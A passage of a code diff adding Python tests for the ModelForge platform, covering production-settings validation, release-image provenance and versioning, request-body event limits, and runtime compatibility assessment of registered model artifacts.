+    assert StartupFailureCode.INSECURE_PRODUCTION_SETTING in _codes(
+        _production(operator_api_key=SecretStr("short"))
+    )
+
+
+def test_production_with_a_development_database_password_is_refused() -> None:
+    settings = _production(
+        database_url="postgresql+psycopg://modelforge:modelforge@db:5432/modelforge"
+    )
+    assert StartupFailureCode.INSECURE_PRODUCTION_SETTING in _codes(settings)
+
+
+def test_production_never_permits_remote_code_execution() -> None:
+    assert StartupFailureCode.INSECURE_PRODUCTION_SETTING in _codes(
+        _production(allow_remote_code=True)
+    )
+
+
+def test_production_without_a_backup_encryption_key_is_refused() -> None:
+    assert StartupFailureCode.MISSING_REQUIRED_SETTING in _codes(
+        _production(backup_encryption_key=None)
+    )
+
+
+def test_production_refuses_a_wildcard_cors_origin() -> None:
+    assert StartupFailureCode.INSECURE_PRODUCTION_SETTING in _codes(_production(cors_origins="*"))
+
+
+@pytest.mark.parametrize(
+    "url", ["", "not-a-url", "mysql://db/mf", "postgresql+psycopg:///mf"]
+)
+def test_an_invalid_database_url_is_refused(url: str) -> None:
+    assert StartupFailureCode.INVALID_URL in _codes(_production(database_url=url))
+
+
+@pytest.mark.parametrize("url", ["", "http://cache:6379", "memcached://cache"])
+def test_an_invalid_redis_url_is_refused(url: str) -> None:
+    assert StartupFailureCode.INVALID_URL in _codes(_production(redis_url=url))
+
+
+def test_a_missing_storage_root_is_refused(tmp_path: Path) -> None:
+    settings = _production(artifact_root=str(tmp_path / "absent"))
+    problems = validate_settings(settings).problems
+    assert any(
+        problem.code is StartupFailureCode.INVALID_STORAGE_ROOT
+        and problem.setting == "MODELFORGE_ARTIFACT_ROOT"
+        for problem in problems
+    )
+
+
+def test_a_storage_root_that_is_a_file_is_refused(tmp_path: Path) -> None:
+    target = tmp_path / "not-a-directory"
+    target.write_text("", encoding="utf-8")
+    settings = _production(artifact_root=str(target))
+    assert StartupFailureCode.INVALID_STORAGE_ROOT in _codes(settings)
+
+
+def test_a_writable_storage_root_is_accepted(tmp_path: Path) -> None:
+    settings = _production(
+        artifact_root=str(tmp_path),
+        quarantine_root=str(tmp_path),
+        backup_root=tmp_path,
+    )
+    roots = {
+        problem.setting
+        for problem in validate_settings(settings).problems
+        if problem.code is StartupFailureCode.INVALID_STORAGE_ROOT
+    }
+    assert roots == set()
+
+
+@pytest.mark.parametrize(
+    "overrides",
+    [
+        {"scheduler_safety_reserve_percentage": 0.5},
+        {"node_stale_after_seconds": 90, "node_offline_after_seconds": 90},
+        {"gateway_queue_timeout_seconds": 45, "gateway_request_timeout_seconds": 45},
+    ],
+)
+def test_an_impossible_policy_is_refused(overrides: dict[str, object]) -> None:
+    assert StartupFailureCode.IMPOSSIBLE_POLICY in _codes(_production(**overrides))
+
+
+def test_a_sound_production_configuration_has_no_problems(tmp_path: Path) -> None:
+    settings = _production(
+        artifact_root=str(tmp_path), quarantine_root=str(tmp_path), backup_root=tmp_path
+    )
+    report = validate_settings(settings)
+    assert report.ok, [str(problem) for problem in report.problems]
+
+
+def test_production_refuses_to_start_while_development_defaults_survive(tmp_path: Path) -> None:
+    settings = _production(
+        operator_api_key=None,
+        artifact_root=str(tmp_path),
+        quarantine_root=str(tmp_path),
+        backup_root=tmp_path,
+    )
+    with pytest.raises(StartupValidationError) as raised:
+        enforce_startup(settings)
+    assert "MODELFORGE_OPERATOR_API_KEY" in str(raised.value)
+
+
+def test_development_reports_the_same_problems_without_refusing_to_start(tmp_path: Path) -> None:
+    """A developer with no backup key should still be able to run the API — and be told."""
+
+    settings = Settings(
+        env="development",
+        operator_api_key=None,
+        artifact_root=str(tmp_path),
+        quarantine_root=str(tmp_path),
+        backup_root=tmp_path,
+    )
+    report = enforce_startup(settings)
+    assert report.ok or report.problems is not None  # never raises outside production
+
+
+def test_the_minimum_postgres_major_is_stated() -> None:
+    assert MINIMUM_POSTGRES_MAJOR >= 16
+
+
+def test_the_node_agent_pins_the_control_plane_at_the_product_version() -> None:
+    """They ship as one product, so a stale pin makes the agent image unbuildable at release time.
+
+    Found exactly that way: bumping the product version to 1.0.0 left this at 0.1.0 and the Node
+    Agent image failed to resolve its dependencies during the fresh-install rehearsal.
+    """
+
+    data = tomllib.loads((ROOT / "node-agent" / "pyproject.toml").read_text("utf-8"))
+    pins = [
+        dependency
+        for dependency in data["project"]["dependencies"]
+        if dependency.startswith("modelforge-api")
+    ]
+    assert pins == [f"modelforge-api=={PRODUCT_VERSION}"], (
+        f"the Node Agent pins {pins}, but the product version is {PRODUCT_VERSION}"
+    )

backend/tests/test_release_provenance_v121.py

@@ -0,0 +1,327 @@
+"""Release packaging and provenance guarantees added in v1.2.1.
+
+Two defects reached production before these existed, and both were invisible to every gate the
+project had. Neither was a code bug: the source was correct in both cases and the *artifact* was
+wrong, which is precisely the class of failure a unit test looking at source cannot see.
+
+**The console could not reach its own API.** Vite inlines ``VITE_*`` at build time, but
+``release_build.py`` never passed ``VITE_API_BASE_URL``, so every release image compiled the
+Dockerfile's development default — ``http://localhost:8000`` — into an immutable bundle, and the
+nginx CSP, derived from the same argument, hardcoded the same wrong origin. The frontend test suite
+passed because jsdom never performs a cross-origin fetch; the release gate passed because it
+inspects labels and checksums, not bundle contents. It surfaced only when a human opened the
+production console.
+
+**The Node Agent's identity drifted from its tag.** ``docker-compose.node-agent.yml`` declared a
+``build:`` block with no ``args:``, so a Compose-built agent got version ``0.0.0`` and empty
+revision/created labels while still being tagged from ``MODELFORGE_VERSION``. Production ran an
+image tagged ``1.1.1`` whose contents were ``1.2.0`` and whose OCI labels were blank.
+
+These tests read the actual release inputs — the Dockerfiles, the Compose projections and the
+release builder — so the same two failures cannot ship again without failing here first.
+"""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+import pytest
+import yaml
+
+from modelforge_api.domain.release import PRODUCT_VERSION
+
+ROOT = Path(__file__).resolve().parents[2]
+RELEASE_BUILD = ROOT / "scripts" / "release_build.py"
+FRONTEND_DOCKERFILE = ROOT / "frontend" / "Dockerfile"
+NODE_AGENT_DOCKERFILE = ROOT / "node-agent" / "Dockerfile"
+
+#: Every image the release builder publishes. The Runtime Worker is a first-class private runtime
+#: artifact even though it exposes no public listener.
+RELEASE_IMAGES = (
+    "modelforge-api",
+    "modelforge-web",
+    "modelforge-node-agent",
+    "modelforge-runtime-worker",
+)
+
+#: The OCI fields a release image must carry for an operator to trace it back to a commit.
+REQUIRED_OCI_LABELS = (
+    "org.opencontainers.image.title",
+    "org.opencontainers.image.version",
+    "org.opencontainers.image.revision",
+    "org.opencontainers.image.created",
+    "org.opencontainers.image.source",
+)
+
+
+def _release_build_source() -> str:
+    return RELEASE_BUILD.read_text(encoding="utf-8")
+
+
+def _compose(name: str) -> dict:
+    return yaml.safe_load((ROOT / name).read_text(encoding="utf-8"))
+
+
+# --------------------------------------------------------------- console API origin (defect A)
+
+
+def test_the_release_builder_requires_an_explicit_public_api_origin() -> None:
+    """No origin, no release. The default that shipped v1.2.0 was a development convenience."""
+
+    source = _release_build_source()
+    assert "--public-api-origin" in source
+    assert "MODELFORGE_PUBLIC_API_ORIGIN" in source
+    assert "def normalise_public_api_origin" in source
+
+
+def test_a_release_build_without_an_api_origin_fails_closed() -> None:
+    import importlib.util
+
+    spec = importlib.util.spec_from_file_location("modelforge_release_build", RELEASE_BUILD)
+    assert spec and spec.loader
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+
+    for empty in ("", "   "):
+        with pytest.raises(SystemExit) as raised:
+            module.normalise_public_api_origin(empty)
+        assert "public API origin" in str(raised.value)
+
+
+@pytest.mark.parametrize(
+    "value",
+    [
+        "localhost:8000",  # no scheme: ambiguous, and how the original default looked
+        "ftp://example.com",
+        "https://",
+        "https://example.com/api",  # a path would be appended twice
+        "https://example.com?x=1",
+    ],
+)
+def test_a_malformed_api_origin_is_refused(value: str) -> None:
+    import importlib.util
+
+    spec = importlib.util.spec_from_file_location("modelforge_release_build", RELEASE_BUILD)
+    assert spec and spec.loader
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    with pytest.raises(SystemExit):
+        module.normalise_public_api_origin(value)
+
+
+@pytest.mark.parametrize(
+    ("given", "expected"),
+    [
+        ("https://modelforge.example.com", "https://modelforge.example.com"),
+        ("http://192.0.2.10:18000/", "http://192.0.2.10:18000"),
+        ("  https://example.com  ", "https://example.com"),
+    ],
+)
+def test_a_valid_api_origin_is_normalised(given: str, expected: str) -> None:
+    import importlib.util
+
+    spec = importlib.util.spec_from_file_location("modelforge_release_build", RELEASE_BUILD)
+    assert spec and spec.loader
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    assert module.normalise_public_api_origin(given) == expected
+
+
+def test_the_api_origin_reaches_the_console_image_build() -> None:
+    """The validated origin must actually be passed to the build that inlines it."""
+
+    source = _release_build_source()
+    assert "VITE_API_BASE_URL={public_api_origin}" in source
+    assert "ORIGIN_DEPENDENT_IMAGES" in source
+    assert "modelforge-web" in source
+
+
+def test_the_release_manifest_records_the_console_api_origin() -> None:
+    """An operator must be able to see the compiled-in origin without unpacking the image."""
+
+    assert '"public_api_origin"' in _release_build_source()
+
+
+def test_the_console_csp_is_derived_from_the_same_origin_argument() -> None:
+    """The bundle and the policy that protects it cannot be allowed to disagree."""
+
+    dockerfile = FRONTEND_DOCKERFILE.read_text(encoding="utf-8")
+    assert 'API_ORIGIN=$(printf \'%s\' "${VITE_API_BASE_URL}" | cut -d/ -f1-3)' in dockerfile
+    # The build fails rather than shipping a policy with an unsubstituted placeholder.
+    assert 'grep -q "connect-src \'self\' ${API_ORIGIN};"' in dockerfile
+
+
+def test_the_console_csp_is_never_widened_to_a_wildcard() -> None:
+    template = (ROOT / "frontend" / "security-headers.inc.template").read_text(encoding="utf-8")
+    connect = [line for line in template.splitlines() if "connect-src" in line]
+    assert connect, "the template must define connect-src"
+    for line in connect:
+        assert "connect-src 'self' __API_ORIGIN__" in line
+        assert "*" not in line.split("connect-src", 1)[1].split(";")[0]
+
+
+def test_local_development_keeps_its_convenient_default() -> None:
+    """Fail-closed is a property of the release path, not of `docker compose up` on a laptop."""
+
+    dockerfile = FRONTEND_DOCKERFILE.read_text(encoding="utf-8")
+    assert "ARG VITE_API_BASE_URL=http://localhost:8000" in dockerfile
+    development = _compose("docker-compose.yml")["services"]["web"]["build"]["args"]
+    assert development["VITE_API_BASE_URL"] == "${VITE_API_BASE_URL:-http://localhost:8000}"
+
+
+def test_the_production_overlay_still_demands_an_api_base_url() -> None:
+    production = _compose("docker-compose.production.yml")["services"]["web"]["build"]["args"]
+    assert production["VITE_API_BASE_URL"].startswith("${VITE_API_BASE_URL:?")
+
+
+# ------------------------------------------------------------- image provenance (defect B)
+
+
+def test_every_release_dockerfile_declares_the_release_identity_arguments() -> None:
+    for relative in (
+        "backend/Dockerfile",
+        "frontend/Dockerfile",
+        "node-agent/Dockerfile",
+        "runtime-worker/Dockerfile",
+    ):
+        text = (ROOT / relative).read_text(encoding="utf-8")
+        for argument in ("MODELFORGE_VERSION", "MODELFORGE_COMMIT", "MODELFORGE_BUILT_AT"):
+            assert f"ARG {argument}" in text, f"{relative} does not accept {argument}"
+
+
+def test_every_release_dockerfile_emits_the_required_oci_labels() -> None:
+    for relative in (
+        "backend/Dockerfile",
+        "frontend/Dockerfile",
+        "node-agent/Dockerfile",
+        "runtime-worker/Dockerfile",
+    ):
+        text = (ROOT / relative).read_text(encoding="utf-8")
+        for label in REQUIRED_OCI_LABELS:
+            assert f'LABEL {label}=' in text, f"{relative} does not set {label}"
+
+
+def test_the_oci_version_and_revision_come_from_the_release_arguments() -> None:
+    """A label typed in by hand is a label that drifts."""
+
+    for relative in (
+        "backend/Dockerfile",
+        "frontend/Dockerfile",
+        "node-agent/Dockerfile",
+        "runtime-worker/Dockerfile",
+    ):
+        text = (ROOT / relative).read_text(encoding="utf-8")
+        assert 'org.opencontainers.image.version="${MODELFORGE_VERSION}"' in text
+        assert 'org.opencontainers.image.revision="${MODELFORGE_COMMIT}"' in text
+        assert 'org.opencontainers.image.created="${MODELFORGE_BUILT_AT}"' in text
+
+
+def test_the_node_agent_compose_build_passes_the_release_identity() -> None:
+    """The exact gap that let production run a 1.1.1 tag containing 1.2.0."""
+
+    build = _compose("docker-compose.node-agent.yml")["services"]["node-agent"]["build"]
+    args = build.get("args")
+    assert args, "the node-agent build must pass release identity arguments"
+    assert args["MODELFORGE_VERSION"] == "${MODELFORGE_VERSION:-0.0.0}"
+    assert args["MODELFORGE_COMMIT"] == "${MODELFORGE_COMMIT:-}"
+    assert args["MODELFORGE_BUILT_AT"] == "${MODELFORGE_BUILT_AT:-}"
+
+
+def test_every_composed_release_image_passes_the_release_identity() -> None:
+    """Whatever builds a published image must stamp it; otherwise the tag is the only identity."""
+
+    for compose_file, service in (
+        ("docker-compose.yml", "api"),
+        ("docker-compose.yml", "web"),
+        ("docker-compose.node-agent.yml", "node-agent"),
+        ("docker-compose.runtime-worker.yml", "runtime-worker"),
+    ):
+        build = _compose(compose_file)["services"][service].get("build")
+        assert build, f"{compose_file}:{service} has no build section"
+        args = build.get("args") or {}
+        assert "MODELFORGE_VERSION" in args, f"{compose_file}:{service} omits MODELFORGE_VERSION"
+        assert "MODELFORGE_COMMIT" in args, f"{compose_file}:{service} omits MODELFORGE_COMMIT"
+
+
+def test_the_node_agent_image_reference_is_versioned_and_never_floating() -> None:
+    service = _compose("docker-compose.node-agent.yml")["services"]["node-agent"]
+    reference = service["image"]
+    assert "${MODELFORGE_NODE_AGENT_IMAGE:-" in reference
+    assert "${MODELFORGE_VERSION:-local}" in reference
+    assert ":latest" not in reference
+
+
+def test_the_runtime_worker_image_reference_is_versioned_and_never_floating() -> None:
+    service = _compose("docker-compose.runtime-worker.yml")["services"]["runtime-worker"]
+    reference = service["image"]
+    assert "${MODELFORGE_RUNTIME_WORKER_IMAGE:-" in reference
+    assert "${MODELFORGE_VERSION:-local}" in reference
+    assert ":latest" not in reference
+
+
+def test_the_agent_version_derives_from_the_repository_version_file() -> None:
+    """Single-source versioning: VERSION drives every packaged manifest.
+
+    Read from the file rather than imported: the Node Agent is a separate distribution and is not
+    installed into the backend's environment, and a version test that silently skips when the
+    import fails would be worthless.
+    """
+
+    text = (ROOT / "node-agent" / "src" / "modelforge_node_agent" / "__init__.py").read_text(
+        encoding="utf-8"
+    )
+    match = re.search(r'__version__\s*=\s*"([^"]+)"', text)
+    assert match, "the Node Agent must declare __version__"
+    assert match.group(1) == PRODUCT_VERSION
+    assert (ROOT / "VERSION").read_text(encoding="utf-8").strip() == PRODUCT_VERSION
+
+
+def test_the_runtime_worker_version_matches_the_release() -> None:
+    text = (ROOT / "runtime-worker" / "src" / "modelforge_runtime_worker" / "__init__.py").read_text(
+        encoding="utf-8"
+    )
+    match = re.search(r'__version__\s*=\s*"([^"]+)"', text)
+    assert match and match.group(1) == PRODUCT_VERSION
+
+
+def test_the_release_builder_publishes_exactly_the_expected_images() -> None:
+    source = _release_build_source()
+    for image in RELEASE_IMAGES:
+        assert f'"{image}"' in source
+
+
+# ---------------------------------------------------------------- artifact reproducibility
+
+
+def test_release_artifacts_are_written_with_unix_line_endings() -> None:
+    """`sha256sum -c` treats a trailing CR as part of the filename and fails on every entry.
+
+    Found while verifying v1.2.0 on Windows: all four digests were correct and not one filename
+    could be read.
+    """
+
+    source = _release_build_source()
+    assert source.count('newline="\\n"') >= 2
+    assert 'checksums.write_text("\\n".join(lines) + "\\n", encoding="utf-8", newline="\\n")' in (
+        source
+    )
+
+
+def test_the_build_timestamp_feeds_the_reproducible_build_contract() -> None:
+    source = _release_build_source()
+    assert "SOURCE_DATE_EPOCH" in source
+    assert "def source_date_epoch" in source
+
+
+def test_the_release_build_refuses_a_dirty_tree_by_default() -> None:
+    source = _release_build_source()
+    assert "refusing to build a release from a dirty working tree" in source
+
+
+def test_the_release_build_records_no_host_specific_paths() -> None:
+    """A manifest that names the machine that built it is not a portable release record."""
+
+    source = _release_build_source()
+    for accidental in ("C:\\\\", "/home/", "/Users/", "os.getcwd()"):
+        assert accidental not in source, f"release build references {accidental!r}"

backend/tests/test_request_limits.py

@@ -0,0 +1,154 @@
+from __future__ import annotations
+
+import json
+from dataclasses import dataclass
+
+import pytest
+from starlette.responses import JSONResponse
+from starlette.types import Message, Receive, Scope, Send
+
+from modelforge_api.api.request_limits import (
+    MAX_CONSECUTIVE_EMPTY_REQUEST_EVENTS,
+    MAX_REQUEST_BODY_EVENTS,
+    MAX_TOTAL_EMPTY_REQUEST_EVENTS,
+    RequestBodyLimitMiddleware,
+)
+
+
+@dataclass(frozen=True, slots=True)
+class LimitResult:
+    status_code: int
+    body: dict[str, object]
+    receive_calls: int
+
+
+async def _consume_body(scope: Scope, receive: Receive, send: Send) -> None:
+    received_bytes = 0
+    while True:
+        message = await receive()
+        if message["type"] == "http.disconnect":
+            await JSONResponse(
+                status_code=400,
+                content={"control": "disconnect"},
+            )(scope, receive, send)
+            return
+        received_bytes += len(message.get("body", b""))
+        if not message.get("more_body", False):
+            break
+    await JSONResponse(status_code=200, content={"received_bytes": received_bytes})(
+        scope, receive, send
+    )
+
+
+async def _exercise(messages: list[Message], *, limit_bytes: int = 65_536) -> LimitResult:
+    receive_calls = 0
+
+    async def receive() -> Message:
+        nonlocal receive_calls
+        if receive_calls >= len(messages):
+            raise AssertionError("middleware received beyond the supplied event budget")
+        message = messages[receive_calls]
+        receive_calls += 1
+        return message
+
+    sent: list[Message] = []
+
+    async def send(message: Message) -> None:
+        sent.append(message)
+
+    scope: Scope = {
+        "type": "http",
+        "asgi": {"version": "3.0"},
+        "http_version": "1.1",
+        "method": "POST",
+        "scheme": "http",
+        "path": "/bounded",
+        "raw_path": b"/bounded",
+        "query_string": b"",
+        "root_path": "",
+        "headers": [],
+        "client": ("test", 1),
+        "server": ("test", 80),
+        "state": {
+            "correlation_id": "limit-test",
+            "request_body_limit_bytes": limit_bytes,
+        },
+    }
+    await RequestBodyLimitMiddleware(_consume_body)(scope, receive, send)
+    start = next(message for message in sent if message["type"] == "http.response.start")
+    body = b"".join(
+        message.get("body", b"") for message in sent if message["type"] == "http.response.body"
+    )
+    return LimitResult(
+        status_code=int(start["status"]),
+        body=json.loads(body),
+        receive_calls=receive_calls,
+    )
+
+
+@pytest.mark.asyncio
+async def test_consecutive_empty_request_events_stop_at_the_fixed_cutoff() -> None:
+    messages: list[Message] = [
+        {"type": "http.request", "body": b"", "more_body": True}
+        for _ in range(MAX_CONSECUTIVE_EMPTY_REQUEST_EVENTS + 1)
+    ]
+    messages.append({"type": "http.request", "body": b"unreachable", "more_body": False})
+
+    result = await _exercise(messages)
+
+    assert result.status_code == 400
+    assert result.body["error"]["code"] == "request_body_progress_exhausted"
+    assert result.receive_calls == MAX_CONSECUTIVE_EMPTY_REQUEST_EVENTS + 1
+
+
+@pytest.mark.asyncio
+async def test_total_empty_request_events_are_bounded_even_with_intermittent_progress() -> None:
+    messages: list[Message] = []
+    for _ in range(MAX_TOTAL_EMPTY_REQUEST_EVENTS + 1):
+        messages.append({"type": "http.request", "body": b"", "more_body": True})
+        messages.append({"type": "http.request", "body": b"x", "more_body": True})
+    messages.append({"type": "http.request", "body": b"unreachable", "more_body": False})
+
+    result = await _exercise(messages)
+
+    assert result.status_code == 400
+    assert result.body["error"]["code"] == "request_body_progress_exhausted"
+    assert result.receive_calls == (MAX_TOTAL_EMPTY_REQUEST_EVENTS * 2) + 1
+
+
+@pytest.mark.asyncio
+async def test_total_request_event_count_bounds_tiny_nonempty_progress() -> None:
+    messages: list[Message] = [
+        {"type": "http.request", "body": b"x", "more_body": True}
+        for _ in range(MAX_REQUEST_BODY_EVENTS + 1)
+    ]
+    messages.append({"type": "http.request", "body": b"unreachable", "more_body": False})
+
+    result = await _exercise(messages)
+
+    assert result.status_code == 400
+    assert result.body["error"]["code"] == "request_body_progress_exhausted"
+    assert result.receive_calls == MAX_REQUEST_BODY_EVENTS + 1
+
+
+@pytest.mark.asyncio
+async def test_finite_empty_events_normal_chunks_and_disconnect_remain_valid_controls() -> None:
+    finite_empty = [
+        {"type": "http.request", "body": b"", "more_body": True}
+        for _ in range(MAX_CONSECUTIVE_EMPTY_REQUEST_EVENTS)
+    ]
+    completed = await _exercise(
+        [
+            *finite_empty,
+            {"type": "http.request", "body": b"ab", "more_body": True},
+            {"type": "http.request", "body": b"cd", "more_body": False},
+        ]
+    )
+    disconnected = await _exercise([{"type": "http.disconnect"}])
+
+    assert completed.status_code == 200
+    assert completed.body == {"received_bytes": 4}
+    assert completed.receive_calls == MAX_CONSECUTIVE_EMPTY_REQUEST_EVENTS + 2
+    assert disconnected.status_code == 400
+    assert disconnected.body == {"control": "disconnect"}
+    assert disconnected.receive_calls == 1

backend/tests/test_runtime.py

@@ -0,0 +1,863 @@
+from __future__ import annotations
+
+import hashlib
+import uuid
+from datetime import UTC, datetime, timedelta
+
+import pytest
+from pydantic import ValidationError
+from sqlalchemy import create_engine, update
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.runtime import (
+    AgentRuntimeProbeComplete,
+    AgentRuntimeProbeFailure,
+    AgentRuntimeProbeProgress,
+    CompatibilityAssessmentCreate,
+    ExecutionApprovalCreate,
+    RuntimeEnvironmentCreate,
+    RuntimeProbeCreate,
+    RuntimeProfileCreate,
+)
+from modelforge_api.persistence.models import (
+    Accelerator,
+    ArtifactLocation,
+    ArtifactSet,
+    ArtifactSetMember,
+    Base,
+    ComputeNode,
+    Model,
+    ModelArtifact,
+    ModelRevision,
+    StorageRoot,
+    UpstreamSnapshot,
+)
+from modelforge_api.services.registry import RegistryConflict
+from modelforge_api.services.runtime import RuntimeService
+from modelforge_api.settings import Settings
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def setup_runtime(session: Session):
+    now = datetime.now(UTC)
+    model = Model(
+        key="qwen-runtime",
+        display_name="Qwen3 Embedding",
+        upstream_provider="Qwen",
+        upstream_source="Qwen/Qwen3-Embedding-0.6B",
+        upstream_metadata={
+            "tags": ["qwen3", "safetensors", "sentence-transformers"],
+            "pipeline_tag": "feature-extraction",
+            "library_name": "sentence-transformers",
+        },
+        local_metadata={},
+        interpretation_metadata={},
+        modalities=[],
+        parameter_metadata={},
+        license_metadata={"status": "captured_unreviewed"},
+        lifecycle="candidate",
+    )
+    node = ComputeNode(
+        key="gpu_node",
+        hostname="GPU Node",
+        enabled=True,
+        liveness_state="online",
+        lab_eligible=True,
+        agent_capabilities=["runtime.probe.v1", "runtime.health.v1", "runtime.unload.v1"],
+        hardware_fingerprint="h" * 64,
+    )
+    session.add_all([model, node])
+    session.flush()
+    accelerator = Accelerator(
+        compute_node_id=node.id,
+        device_index=0,
+        device_uuid="GPU-test",
+        name="NVIDIA RTX",
+        compute_capability_major=8,
+        compute_capability_minor=9,
+        total_vram_bytes=17_171_480_576,
+        driver_version="575.64.05",
+        cuda_version="12.9",
+        status="active",
+    )
+    root = StorageRoot(
+        compute_node_id=node.id,
+        name="models",
+        path="/host/models",
+        agent_path="/data/artifacts/model-registry",
+        status="ready",
+        writable=True,
+    )
+    revision = ModelRevision(
+        model_id=model.id,
+        upstream_revision="main",
+        resolved_commit_sha="a" * 40,
+        metadata_snapshot={},
+        immutable_at=now,
+    )
+    session.add_all([accelerator, root, revision])
+    session.flush()
+    snapshot = UpstreamSnapshot(
+        model_id=model.id,
+        repository_id=model.upstream_source,
+        requested_revision="main",
+        resolved_commit_sha=revision.resolved_commit_sha,
+        access_state="public",
+        metadata_snapshot={},
+        card_metadata={},
+        security_metadata={},
+        stale_after=now + timedelta(hours=1),
+    )
+    session.add(snapshot)
+    session.flush()
+    names = [
+        ("config.json", "configuration", "json", "1" * 64, 100),
+        ("tokenizer.json", "tokenizer", "json", "2" * 64, 100),
+        ("modules.json", "configuration", "json", "3" * 64, 100),
+        ("1_Pooling/config.json", "configuration", "json", "4" * 64, 100),
+        ("model.safetensors", "weights", "safetensors", "5" * 64, 1000),
+    ]
+    artifacts = []
+    for name, role, file_format, digest, size in names:
+        artifact = ModelArtifact(
+            revision_id=revision.id,
+            filename=name,
+            artifact_type=role,
+            serialization_format=file_format,
+            sha256=digest,
+            size_bytes=size,
+            status="verified",
+            security_status="static_checks_passed_unapproved",
+            license_status="captured_unreviewed",
+            quarantined=False,
+            verification_details={"risk_flags": []},
+            verified_at=now,
+            immutable_at=now,
+        )
+        session.add(artifact)
+        session.flush()
+        artifacts.append(artifact)
+    artifact_set = ArtifactSet(
+        revision_id=revision.id,
+        snapshot_id=snapshot.id,
+        variant_key="safetensors-default",
+        label="Safetensors",
+        selection_reason="test",
+        selected_paths=[name for name, *_ in names],
+        total_size_bytes=1400,
+        file_count=5,
+        availability="local",
+        status="verified",
+        completeness="complete",
+        security_status="static_checks_passed_unapproved",
+        license_status="captured_unreviewed",
+        immutable_at=now,
+    )
+    session.add(artifact_set)
+    session.flush()
+    parent = "repositories/Qwen--Qwen3-Embedding/" + revision.resolved_commit_sha
+    for ordinal, artifact in enumerate(artifacts):
+        session.add_all(
+            [
+                ArtifactSetMember(
+                    artifact_set_id=artifact_set.id,
+                    artifact_id=artifact.id,
+                    ordinal=ordinal,
+                    required=True,
+                ),
+                ArtifactLocation(
+                    artifact_id=artifact.id,
+                    storage_root_id=root.id,
+                    relative_path=f"{parent}/{artifact.filename}",
+                    status="verified",
+                    size_bytes=artifact.size_bytes,
+                    observed_sha256=artifact.sha256,
+                    last_checked_at=now,
+                ),
+            ]
+        )
+    session.commit()
+    service = RuntimeService(
+        session,
+        Settings(database_url="sqlite+pysqlite:///:memory:", runtime_artifact_root="/models"),
+    )
+    return service, artifact_set, node, artifacts
+
+
+def create_environment(service: RuntimeService, adapter: str = "sentence_transformers"):
+    supported = (
+        ["qwen3"]
+        if adapter in {"sentence_transformers", "qwen3_reranker", "transformers", "vllm"}
+        else []
+    )
+    return service.create_environment(
+        RuntimeEnvironmentCreate(
+            name=f"{adapter} pinned",
+            adapter=adapter,
+            runtime_version="4.1.0",
+            image_repository="modelforge-runtime-worker",
+            image_digest="sha256:" + "a" * 64,
+            python_version="3.12.11",
+            cuda_runtime_version="12.8",
+            package_versions={
+                "torch": "2.7.1",
+                "transformers": "4.51.3",
+                "sentence-transformers": "4.1.0",
+                adapter: "4.1.0",
+                "llama-cpp-python": "0.3.16",
+                "diffusers": "0.35.1",
+            },
+            supported_model_types=supported,
+            supported_formats=["safetensors"],
+            supported_modalities=["reranking" if adapter == "qwen3_reranker" else "embedding"],
+        )
+    )
+
+
+def create_profile(
+    service: RuntimeService, artifact_set_id: uuid.UUID, adapter: str = "sentence_transformers"
+):
+    environment = create_environment(service, adapter)
+    return service.create_profile(
+        RuntimeProfileCreate(
+            name=f"Qwen {adapter}",
+            runtime_environment_id=environment.id,
+            artifact_set_id=artifact_set_id,
+            modality="reranking" if adapter == "qwen3_reranker" else "embedding",
+        )
+    )
+
+
+def prepare_probe(service: RuntimeService, artifact_set, node):
+    profile = create_profile(service, artifact_set.id)
+    assessment = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    approval = service.approve(
+        artifact_set.id,
+        ExecutionApprovalCreate(
+            reason="Reviewed exact verified set for isolated lab execution",
+            approved_by="test-operator",
+        ),
+    )
+    probe = service.create_probe(
+        RuntimeProbeCreate(
+            compatibility_assessment_id=assessment.id,
+            execution_approval_id=approval.id,
+        )
+    )
+    return profile, assessment, approval, probe
+
+
+def test_static_sentence_transformers_compatibility_is_reproducible(session: Session) -> None:
+    service, artifact_set, node, _artifacts = setup_runtime(session)
+    profile = create_profile(service, artifact_set.id)
+    result = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+    assert result.status == "compatible"
+    assert result.artifact_facts["required_complete"] is True
+    assert result.evidence["locally_proven_support"] is False
+    assert result.evidence["resource_estimate"]["kind"] == "estimated"
+    revision = service.repo.revision(artifact_set.revision_id)
+    assert revision is not None
+    filtered = service.assessments(
+        model_id=revision.model_id,
+        compute_node_id=node.id,
+        runtime_profile_id=profile.id,
+        status="compatible",
+    )
+    assert [item.id for item in filtered] == [result.id]
+    assert service.assessments(status="blocked") == []
+
+
+def test_artifact_manifest_allows_distinct_paths_with_the_same_content_digest(
+    session: Session,
+) -> None:
+    service, artifact_set, node, artifacts = setup_runtime(session)
+    tokenizer = artifacts[1]
+    existing_location = service.repo.artifact_locations([tokenizer.id])[0]
+    duplicate_path = "tokenizer_config.json"
+    selected_paths = [*artifact_set.selected_paths, duplicate_path]
+    session.execute(
+        update(ArtifactSet)
+        .where(ArtifactSet.id == artifact_set.id)
+        .values(selected_paths=selected_paths, file_count=len(selected_paths))
+    )
+    session.add(
+        ArtifactLocation(
+            artifact_id=tokenizer.id,
+            storage_root_id=existing_location.storage_root_id,
+            relative_path=existing_location.relative_path.rsplit("/", 1)[0]
+            + f"/{duplicate_path}",
+            status="verified",
+            size_bytes=tokenizer.size_bytes,
+            observed_sha256=tokenizer.sha256,
+            last_checked_at=datetime.now(UTC),
+        )
+    )
+    session.commit()
+
+    profile = create_profile(service, artifact_set.id)
+    result = service.assess(
+        CompatibilityAssessmentCreate(runtime_profile_id=profile.id, compute_node_id=node.id)
+    )
+
+    assert result.status == "compatible"
+    assert result.artifact_facts["required_complete"] is True
+    assert result.artifact_facts["file_count"] == 6
+    assert result.artifact_facts["content_blob_count"] == 5
+    assert duplicate_path in result.artifact_facts["verified_location_paths"]
+
+    approval = service.approve(
+        artifact_set.id,
+        ExecutionApprovalCreate(reason="Reviewed duplicate-content manifest", approved_by="test"),
+    )
